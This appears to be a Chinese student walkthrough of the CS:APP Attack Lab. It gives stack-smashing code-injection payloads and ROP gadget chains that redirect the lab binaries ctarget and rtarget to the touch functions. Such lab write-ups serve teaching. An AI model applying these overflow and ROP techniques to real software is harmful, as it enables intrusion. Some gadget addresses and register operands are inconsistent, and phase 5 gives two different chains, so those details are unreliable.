Attack lab:要求你进行五次攻击。攻击方式是code injection代码注入和Reeturn-oriented programming(ROP),在你做完这个lab,你会收获:
略
略
被攻击程序之一,在该程序里,会首先执行getbuf函数,读取标准输入。
其中Gets函数于书中gets函数类似。
BUFFER_SIZE不告诉你,你自己去找。
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
参数 (ctarget和rtarget都有)
-q 不发送成绩
-i 从文件中输入
如果你没有使用-q,就会出现
FAILED: Initialization error: Running on an illegal host [localhost.localdomain]
因为你没有使用CMU的内网,是无法建立连接的。所以你每次进行操作都要带上-q。我用的最多的是-qi.
通过使缓冲区溢出,注入攻击代码。
介绍下return-oriented programming是什么意思吧。
ROP即使用你程序里的字节代码攻击你的程序。听起来有些神奇,举个例子:
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
这个程序看起来很普通,但如果反汇编成机器字节代码
0000000000400f15 :
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
仔细看: 48 89 c7可以编码为movq %rax,%rdi,c3可以编码为ret。如果程序从0x400f18开始执行,将执行
movq %rax,%rdi
ret
这种带有ret的指令段,称为gadget,而farm.c里有很多这种garget。你可以利用这些garget进行攻击。
(注:farm.c已经编译进了rtarget,也就是说,你反汇编rtarget时,你就会找到farm.c里的函数)
ret | c3 |
---|---|
nop | 90 |
将16进制转换为字符串,这样,机器才能识别。
用法:
将1.txt文件里的内存转换为字符串并输出到2.txt
./hex2raw <1.txt >2.txt
如果是数据,要遵循小端
如果是代码,就不用
使用GCC汇编和OBJDUMP反汇编来生成机器字节代码
例:
// in 1.s
pushq $0xabcdef
addq $17,%rax
movl %eax,%edx
步骤:
gcc -c 1.s -o 1.o
objdump -d 1.o >1.txt
//in 1.txt(生成的)
1.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 68 ef cd ab 00 pushq $0xabcdef
5: 48 83 c0 11 add $0x11,%rax
9: 89 c2 mov %eax,%edx
这样,你就知道上面指令对应的机器字节代码是什么了。
68 ef cd ab 00 /* pushq $0xabcdef */
48 83 c0 11 /* add $0x11,%rax */
89 c2 /* mov %eax,%edx */
ctarget将执行test函数,你的任务是在执行完getbuf函数后,程序不执行test函数,而是执行touch1函数
第一个关卡我说详细点,把整个lab流程说一遍。
首先看看ctarget的反汇编代码,寻找关键信息。
objdump -d ctarget |less
其中,我看找到了getbuf和touch1的反汇编代码:
从中我们可以分析,getbuf中,%rsp被减了0x28,也就是BUFFER_SIZE大小是40。touch1函数地址是0x4017c0。有了这两个关键信息,我们就可以写攻击字符串了。
思路是:getbuf函数执行ret指令后,后,就会从%rsp+40处获取返回地址,只要我们修改这个返回地址,改为touch1的地址,就能使程序返回touch1,而不是test。所以,攻击序列应该是:
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
c0 17 40 00 /* 小端 */
保存在1.txt里,并通过hex2raw转换为字符串。并执行程序。
./hex2raw <1.txt >2.txt
./ctarget -qi 2.txt
这关要求:要求程序执行完getbuf()后,执行touch2,而且还要传入参数,即你的cookie
首先,反汇编找到touch2的起始地址
我们理一理要求,把参数设置为cookie,即把%rdi的值改为cookie
再执行touch2. 即ret touch2的地址。
转换为汇编代码:
// in 1.s
movq $0x59b997fa,%rdi
pushq $0x4017ec
ret
gcc -c 1.s -o 1.o
objdump -d 1.o >2.txt
// in 2.txt
2.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
9: 68 ec 17 40 00 pushq $0x4017ec
e: c3 retq
由上图,可以攻击序列
48 c7 c7 fa
97 b9 59 68
ec 17 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55
在通过hex2raw转换就ok
这样,第二个关卡也做完啦( ̄▽ ̄)"
这关要求:要求程序执行完getbuf()后,执行touch3,而touch3的参数是你cookie的字符串地址。
首先,反汇编找到touch3的地址
这里,字符串必须放在ret地址后面,因为后面函数执行时(在hexmatch函数里,向系统请求了100字节的空间,使可能覆盖变为铁定会覆盖),会覆盖掉字符串。
而hexmatch比较的是字符串,所以cookie还要转换成字符串(用16进制表示)
|5|9|b|9|9|7|f|a|_
|–|--
|35|39|62|39|39|37|66|61|\0
这样,就构成了攻击序例
48 c7 c7 a8
dc 61 55 68
fa 18 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55
00 00 00 00 //retq,是8字节
35 39 62 39
39 37 66 61
00 00 00 00
再hex2raw就ok了
这样代码注入攻击我们就做完啦"★,°:.☆( ̄▽ ̄)/$:.°★ 。"
rtarget使用了2项技术防止了代码注入攻击,所以我们要使用ROP攻击方法
①栈随机化。
②栈只可读
使用ROP把phase2重做一遍
第一次使用ROP,我说详细点。
首先,你要想清楚你要干什么。
第一,把%rdi设置为cookie
第二:执行touch2
转换成汇编代码即使:
movq $0x59b997fa,%rdi
pushq $0x4017ec
ret
这是,会发现难点,gadget不可能有movq $0x59b997fa,%rdi,pushq $0x4017ec。那我们只能曲线救国了。
把$0x59b997fa放在栈中,再popq %rdi.。代码有了,那我们就去寻找gadget
在addval_219中
0x4019ab 58 #popq %rax
0x4019ac 90 #nop
0x4019ae c3 #ret
0x4019a2 48 89 c7 #movq %rax,%rdi
0x4019a5 c3 #ret
ROP攻击就要好好化栈图,这样自己才不会糊涂,这样就能确定攻击序列
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
ab 19 40 00
00 00 00 00
fa 97 b9 59
00 00 00 00
a2 19 40 00
00 00 00 00
ec 17 40 00
00 00 00 00
再hex2raw就ok了
就差最后一个关卡啦(ง •_•)ง加油
最后一个关卡,连官方都说很难,要花很长时间。所以如果要做的小伙伴,最好腾出
小时以上哦。
最后一个关卡的任务是:用ROP的方法把phase3做一遍
其实是差不多的,(这里我就不详细解释)
思路和phase3是一样的,把cookie放在后面。但是由于栈是随机化的,所以提前在栈里写入字符串的位置是不可能的了.所以怎么找到字符串的位置?我们可以通过,浮动求得字符串位置的值。
movq %rsp,%rax
addq 0x40,%rax
movq %rax,%rdi
但是在提供的指令里,是没有addq,所以只能找addq的替代品了。在farm.c里,我们找到了add_xy, 即 %rdi+%rsi =%rax。这样为解决问题提供了契机。
需要的gadget:
addval_190
0x401a06 48 89 e0 #movq %rsp,%rax
0x401a09 c3 #ret
0x4019c5 48 89 c7 #movq %rax,%rdi
0x4019c8 90 #nop
0x4019c9 c3 #ret
0x4017ab 58 #popq %rax
0x4017ac 90 #nop
0x4017ad c3 #ret
0x4019dd 89 c2 #movl %eax,%edx
0x4019df 90 #nop
0x4019e0 c3 #ret
0x401a34 89 d1 #movl %edx,%rcx
0x401a36 38 c9 #???
0x401a38 c3 #ret
0x401a13 89 ce #movl %ecx,%esi
0x401a15 90 #nop
0x401a16 90 #nop
0x401a17 c3 #ret
0x4019d8 04 37 #add 0x37.al
0x4019da c3 #ret
//in addval_190
movq %rsp,%rax
ret
//in addval_426
movq %rax,%rdi
ret
//in addval_219
popq %rax
ret
//in getval_481
movl %eax,%edx
ret
//in getval_159
movl %edx,%ecx
ret
//in addval_436
movl %ecx,%rsi
ret
//in add_xy
lea (%rdi,%rsi,1),%rax
retq
//in addval_426
movq %rax,%rdi
ret
画出栈图,就能清楚popq 的值应该为0x48
(%rsp+80处放字符串,%rsp+8处才开始执行addval_190.所以 (%rsp+80)-(%rsp+8)=72=0x48)
由上,我们可以得到攻击序列
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
06 1a 40 00
00 00 00 00
c5 19 40 00
00 00 00 00
ab 19 40 00
00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00
00 00 00 00
34 1a 40 00
00 00 00 00
13 1a 40 00
00 00 00 00
d6 19 40 00
00 00 00 00
c5 19 40 00
00 00 00 00
fa 18 40 00
00 00 00 00
35 39 62 39 39
37 66 61 00
0x401a06 48 89 e0 #movq %rsp,%rax
0x401a09 c3 #ret
0x4019c5 48 89 c7 #movq %rax,%rdi
0x4019c8 90 #nop
0x4019c9 c3 #ret
0x4019d8 04 37 #add 0x37.al
0x4019da c3 #ret
// address is 0x401a06,execute a part of addval_190
movq %rsp,%rax
ret
//address is ox4019d8,execute a part of add_xy
add 0x37,%al
ret
//address is 0x4019c5,execute a part of addval_426
movq %rax,%rdi
ret
由上,可以知道攻击序列为
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
06 1a 40 00
00 00 00 00
d8 19 40 00
00 00 00 00
c5 19 40 00
00 00 00 00
fa 18 40 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 35
39 62 39 39
37 66 61 00
再hex2raw就ok啦
爽!o( ̄︶ ̄)o